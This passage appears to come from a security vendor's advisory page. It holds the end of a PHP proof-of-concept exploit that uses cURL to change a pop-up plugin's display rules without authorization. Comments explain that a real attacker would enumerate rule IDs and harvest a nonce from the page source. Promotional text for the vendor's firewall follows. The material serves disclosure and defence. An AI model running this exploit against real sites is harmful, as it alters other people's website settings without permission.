    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Check if the exploit was successful
    if ($http_code == 200 && strpos($response, '"success":true') !== false) {
        echo "[SUCCESS] Display rules successfully modified!n";
        echo "The pop-up display settings have been updated without authorization.n";
    } else {
        echo "[FAILED] Exploit attempt unsuccessful.n";
        echo "Possible reasons: Site is patched, nonce is invalid, or rule ID doesn't exist.n";
    }
}

// Close cURL session
curl_close($ch);

// Note: In a real attack scenario, the attacker would need to:
// 1. Enumerate existing rule IDs
// 2. Obtain a valid nonce (often exposed in page source)
// 3. Craft specific rule modifications based on the target's configuration

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School